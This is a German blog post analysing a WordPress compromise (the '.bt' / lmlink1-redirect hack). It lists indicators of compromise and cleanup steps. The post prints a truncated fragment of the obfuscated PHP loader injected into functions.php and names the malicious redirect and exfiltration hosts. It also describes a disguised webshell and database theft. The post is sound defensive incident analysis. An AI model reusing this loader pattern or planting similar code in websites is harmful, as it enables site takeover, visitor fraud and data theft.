WordPress Hack – .bt // lmlink1-redirect
Vor kurzem wurde ich von einem Bekannten angerufen, weil seine WordPress-Seite augenscheinlich gehackt wurde. Das Problem war, dass bei jedem Besuch der Seite direkt eine Weiterleitung stattfand und ein Popup aufging, in dem Ballons flogen und man darauf hingewiesen wurde, dass man eine Amazon-Geschenkkarte im Wert von 1000 Euro gewonnen habe (siehe Bild unten). Juhu, gewonnen, dachte ich… Nein Spaß beiseite.. Ich begab mich direkt in die Untersuchung, die ich euch hier möglichst kurz beschreiben möchte.
Untersuchung im Browser
Natürlich untersuchte ich erst das Offensichtliche. Im Browser öffnete ich die Entwickler-Werkzeuge und fand einen Hinweise auf eine Datei namens popunder.js. In der Konsole wurde angezeigt, dass der Cookie den Wert für “SameSite” mit einem ungültigen Wert besetzte. Bei näherer Betrachtung konnte ich feststellen, dass der seitenübergreifende Speicherzugriff auf die Webseite für die URL https://check-primeprize.life erlaubt wurde. Das “SameSite”-Attribut ist eigentlich dazu bestimmt Cookies von anderen Seiten (also Cross-Site) zu unterbinden und erst dann auszuführen, wenn wirklich die fremde Seite aufgerufen wird.
Parallel dazu betrachtete ich den Quelltext. Hier konnte ich den im folgenden Bild ersichtlichen <script>-Abschnitt finden, der die JavaScript-Datei “popunder.js” der Domain “check-primeprize.life” einband. Als Variable “popunder” wurde die Domain letztlich mit verschiedenen Parametern an die aufgerufene Webseite übergeben (Details erspare ich hier).
Danach habe ich den Quelltext der eingebundenen “popunder.js”-Datei betrachtet. Dort wurde ein Eventlistener auf die Seite gesetzt, der bei Klicks durch den Benutzer letztlich das Popup-Fenster öffnet und den Cookie setzt (Details erspare ich auch hier der Lesbarkeit halber).
Schön, das sind ja nur die Auswirkungen. Aber was lag denn nun im Backend und wie kamen die Täter da rein? Wie die Täter reinkamen weiß ich leider bis heute nicht. Die Vermutung liegt aber auf einem veralteten Plugin. Mein Tipp: Immer schön die Plugins und Themes updaten!
Untersuchungen im Backend
Über einen FTP-Zugang habe ich mich dann im Dateiverzeichnis im Backend umgesehen. Dort konnte ich im root-Verzeichnis und im Verzeichnis “wp-admin” zwei Dateien namens “.bt” finden. Diese könnte auch unter “wp-admin/css” liegen, was bei mir aber nicht der Fall war. Bei der Datei handelte es sich um eine Text-Datei, die verschiedenste IP-Adressen enthielt. Die genaue Funktion war mir noch nicht bekannt. Durch eine Google-Recherche bin ich dann aber auf den Artikel “How to Detect the .bt WordPress Hack” von BitofWP gestoßen. Hier fand ich heraus, dass die .bt-Dateien zur Identifikation von Crawlern dienen, sodass die Seite sich bei diesen normal verhält und nicht auf einer Blacklist landet (sonst wäre das “Geschäftsmodell” der Hacker ja zerstört). Außerdem wurde dort unter dem Titel “lmlink1-redirect” genau unser Problem beschrieben, weshalb ich weiterlas. Ich stieß hierbei auf die “functions.php”-Datei des jeweiligen Themes. Dort war, laut diesem Artikel, der Schadcode enthalten. Warum sollten die Hacker genau diese Datei nehmen? Die Frage lässt sich durch die Betrachtung des WordPress-Bootcycle beantworten. Die Datei wird bei jedem Besuch eines Nutzers auf der Seite mitaufgerufen, sodass jeder Besucher in den Genuss der Weiterleitung kommen kann!
Betrachtung der Datei “wp-content/themes/<themename>/functions.php”
Also suchte ich im Ordner des aktiven Themes nach der “functions.php”-Datei. In Zeile 1-64, noch vor dem “offiziellen” Code, war ein Code mit komischen Variablennamen eingefügt worden. Diesen habe ich in sehr stark gekürzter Form hier eingefügt:
@include(‚ template-config.php ‚);
@ini_set(‚display_errors‘, ‚0‘);
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = ‚_shaesx_‘; $ay = ‚get_data_ya‘; $ae = ‚decode‘; $ea = str_replace(‚_sha‘, ‚bas‘, $ea); $ao = ‚wp_cd‘; $ee = $ea.$ae; $oa = str_replace(’sx‘, ’64‘, $ee); $algo = ‚default‘; $pass = „Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==“; […]
Die Funktionalität des Codes in der “functions.php”-Datei wurde unter dem Link zum “lmlink1-redirect”-Hack gut beschrieben. Im Grunde wird der eigentliche Payload heruntergeladen, der dann ausgeführt und danach wieder gelöscht wird. Der Payload ist letztlich für das Anlegen der .bt-Dateien und auch für die Weiterleitung auf “check-primeprize.life” verantwortlich.
Wie im obigen Codesnippet sichtbar wurde die Datei “template-config.php” eingebettet. Diese befand sich ebenfalls im Verzeichnis “wp-content/theme/<themename>/”. Bei der Untersuchung dieser Datei zeigte sich, dass bei Ausführung viele Datenbankoperationen durchgeführt werden. Einerseits werden zwei Tabellen namens “wp_pcachewpr” und “wp_lcachewpr” in der WordPress-Datenbank angelegt, andererseits werden in diesen Tabellen entsprechende Links gespeichert (u.a. https://<ihreDomain>.de/muenchner-singles-erfahrungen-version oder https://<ihreDomain>.de/erstes-date-maenner-kennenlernen). Hierbei handelt es sich um die URLs über die die Nutzer über die infizierte Webseite auf “check-primeprize.life” weitergeleitet werden. Diese Art von URLs wurde bei der Untersuchung der HTTP-Serverlogs in einer großen Masse festgestellt. Interessant ist, dass in der Datei auch Funktionen implementiert sind, die Daten aus unterschiedlichen Datenbanken eurer Wordpress-Installation an eine URL senden, die obfuskiert abgelegt ist (Bei Deobfuskierung kam diese URL heraus: bb.zetepop.com/work.php). D.h. mithilfe dieser Datei können die Angreifer eure gesamte WordPress-Datenbank einsehen. Auch euer Datenbank-Passwort ist den Angreifern bekannt. Meine Empfehlung ist: Datenbankpasswort dringend ändern! Auch das Passwort eines jeden Nutzers sollte geändert werden!
Neu angelegte Datei: class-wp-http-netfilter.php
Diese Datei wurde unter dem Pfad „/wp-includes/class-wp-http-netfilter.php“ abgelegt. Sie enthält mehrere IP-Adressen, deren Quality-Score soweit keine maliziösen Aktivitäten vermuten lässt. Die Datei wurde jedoch jedes mal bei der Infektion durch den WordPress-Hack angelegt, weshalb sich sie immer gelöscht habe. Die genaue Funktion konnte ich bislang nicht ergründen.
Neu angelegte Datei: wp-load.php
Bei einem neuen Hack, den ich untersuchte, konnte ich drei Dateien mit dem Namen „wp-load.php“ unter den beiden folgenden Pfaden finden: „wp-includes/blocks/categories/wp-load.php“, „wp-includes/blocks/categories/wp-load.php“ und „wp-content/themes/<THEME>/wp-load.php“. Es spricht umso mehr dafür, dass die Hacker sich mehr und mehr professionalisieren, da WordPress standardmäßig tatsächlich eine „wp-load“-Datei beinhaltet. Daher würde man die Dateien aufgrund des Dateinamens als legitim einstufen. Beim Blick in die Dateien zeigte sich der maliziöse Code in seiner vollen Pracht. Es handelte sich hierbei um eine WebShell mit Funktionen zum Erstellen der bereits beschriebenen maliziösen Dateien, wie z.B. „functions.php“.
In den ersten Zeilen der Datei wir die Variable „$ccd“ festgelegt, die einen mittels ROT13 kryptierten String enthält. Rotiert man den String zurück kommt hierbei die URL „api.aedoodaezi.fun“ heraus. Die URL ist auf Virustotal als „Malware“ eingestuft. Diese wird in Verlauf des gesamten Codes mehrfach aufgerufen. U.a. liegt auf dem Server unter der Datei „files/file.txt“ der Inhalt der „wp-load.php“-Datei. Unter der Datei „files/files.txt“ liegt der maliziöse Inhalt der „functions.php“-Datei. D.h. die maliziöse Dateien werden dort gehostet, um sie von dort immer wieder abzurufen. Die Dateien sollte man daher löschen!
Zusätzliche Infos: Lädt man diese Dateien auf Virustotal.com hoch, bekommt man Hinweise auf Webshells des folgenden Github-Repositories: https://github.com/xl7dev/WebShell/tree/master/Php
Neu installiertes Theme namens „skeleton-reworked“
Unter dem Theme-Verzeichnis „wp-content/themes“ von WordPress wurde durch die Malware das Verzeichnis „skeleton-reworked“ und damit das gleichnamige Theme angelegt. Dieses enthielt die fast inhaltsgleichen Dateien wie das Original-Theme (Für einen Vergleich erhältlich unter: https://github.com/wycks/WP-Skeleton-Theme). Einzig die drei Dateien „404.php“, „functions.php“ (den Inhalt kennen wir von oben) und „style.css“ wurden mit geändertem Inhalt angelegt. Die Datei „404.php“ war bei meiner letzten Untersuchung leider leer. Die Datei „style.css“ stimmt fast mit der Originaldatei überein, jedoch haben sich hier die Hacker einen Scherz erlaubt und den „Author“ auf den Google-Gründer „Sergey Brin“ geändert (siehe Bild).
Ich habe das komplette Verzeichnis gelöscht. Alternativ kann man über WP-Admin das Verzeichnis löschen.
Neu installiertes Plugin namens „core-sitemaps“
Im Backend der gehackten Wordpress-Seite wurde unter dem Plugin-Verzeichnis „wp-content/plugins“ zudem das Verzeichnis „core-sitemaps“ und damit das gleichnamige Plugin angelegt. Das Plugin findet sich im Admin-Panel von WordPress dann auch unter der Liste der Plugins. Auch hier konnten im Vergleich zu dem Original-Plugin (Erhältlich unter: https://github.com/GoogleChromeLabs/wp-sitemaps/tree/master) Abweichungen festgestellt werden. Die Datei „404.php“ ist lediglich in der maliziösen Version vorhanden. Die Datei „404.php“ war bei meiner letzten Untersuchung leider leer. Meine Empfehlung: Komplettes Verzeichnis bzw. Plugin über SFTP löschen. Alternativ kann man über WP-Admin das Plugin löschen.
Geänderte Datei „header.php“
Ebenfalls unter dem Verzeichnis „wp-content/themes“ wurde die „header.php“-Datei angelegt, deren Inhalt identisch mit oben beschriebenen schädlichen Datei „functions.php“ war.
Veränderungen unter wp-config.php
Hier konnten kleine Veränderungen gefunden werden, die jedoch nicht als maliziös eingestuft wurden. D.h. diese Datei solltet ihr auf jeden Fall prüfen und eventuell mit einem sicheren Backup der Datei gegenprüfen.
Wo finde ich Hinweise auf den .bt-Hack? (Kurzform)
Die in den obigen Abschnitten dargestellten Hinweise (Indicators of Compromise) auf den .bt-Hack sollen hier in Listenform kurz aufgezeigt werden:
- Weiterleitung bei Besuch der infizierten Seite
- Datenbanktabellen “wp_pcachewpr” und “wp_lcachewpr”
- Dateien im Backend.bt-Datei in Rootverzeichnis
- /wp-admin/css/.bt”
- /wp-admin/.bt
- Veränderungen des Inhalts von /wp-content/themes/<themename>/functions.php (verdächtige Variablennamen etc.)
- Neue Datei unter Pfad /wp-content/themes/template-config.php
- Update (05.12.2021): Neue Datei unter Pfad /wp-include/class-wp-https-netfilter.php
- Update (23.11.2023):
- Neues Plugin namens „core-sitemaps“
- Neues Theme namens „skeleton-reworked“
- Neue Datei unter Pfad „/wp-includes/class-wp-http-netfilter.php“
- Neue Datei unter Pfad „/wp-includes/blocks/categories/wp-load.php“
- Neue Datei unter Pfad „/wp-includes/blocks/categories/wp-load.php“
- Neue Datei unter Pfad „/wp-content/themes/<THEME>/wp-load.php“
- Neue Datei unter Pfad „/wp-content/themes/header.php“
- Aufrufe von komischen und eigentlich nicht vorhandenen Subdirectories der Seite, die im Log sichtbar sind
- Starker Zuwachs von Webseitenaufrufen nach dem erfolgreichen Hack
Bereinigung
Vorsicht! Hier sollte man nicht einfach irgendwelche Dateien blind löschen! Wichtig ist, dass man bei der Bereinigung der Webseite Schritt für Schritt vorgeht und immer wieder die Funktionsfähigkeit der Seite prüft. Solltet Ihr hierbei Hilfe benötigen schreibt mir einfach!
Folgende Schritte solltet ihr unternehmen:
- Seite temporär offline nehmen
- Löschen des Schadcodes in /wp-content/themes/functions.php (ca. Zeilen 1-64; Achtung: nicht das <?php-Tag löschen!)
- Löschen der Datei /wp-content/themes/template-config.php
- Löschen der Datenbanktabellen “wp_pcachewpr” und “wp_lcachewpr”
- Update (05.12.2021): Löschen der Datei /wp-includes/class-wp-https-netfilter.php
- Löschen der Datei „/wp-includes/class-wp-http-netfilter.php“
- Löschen der Datei „wp-includes/blocks/categories/wp-load.php“
- Löschen der Datei „wp-includes/blocks/categories/wp-load.php“
- Löschen der Dateien „wp-content/themes/<THEME>/wp-load.php“
- Löschen der Dateien „wp-content/themes/header.php“
- Sind neue Themes installiert worden z.B. „skeleton-reworkes“? –> Löschen!
- Sind neue Plugins installiert worden z.B. „core-sitemaps“? –> Löschen!
- WordPress-Plugins updaten!
- WorPress-Themes updaten!
- Sicherheitsplugins nutzen, z.B. Wordfence-Plugin!
- Serverseitige Caches bzw. Cache-Plugins der Seite leeren
Hinweis: Bei der Bereinigung der Seite solltet ihr nicht nur das Theme-Verzeichnis eures aktuellen Themes prüfen, sondern auch die anderen Theme-Verzeichnisse! Solltet ihr das Plugin “Updraft” für Backups oder andere Backup-Plugins verwenden, müsst ihr auch unter dem Verzeichnis “wp-content/updraft/themes-old/<themename>” oder dem entsprechenden „Backup-Verzeichnis“ unter „wp-content“ nachsehen. In der Regel werdet ihr dort auch die schadhaften Dateien finden, sofern der Hack schon länger auf eurer Seite persistent ist.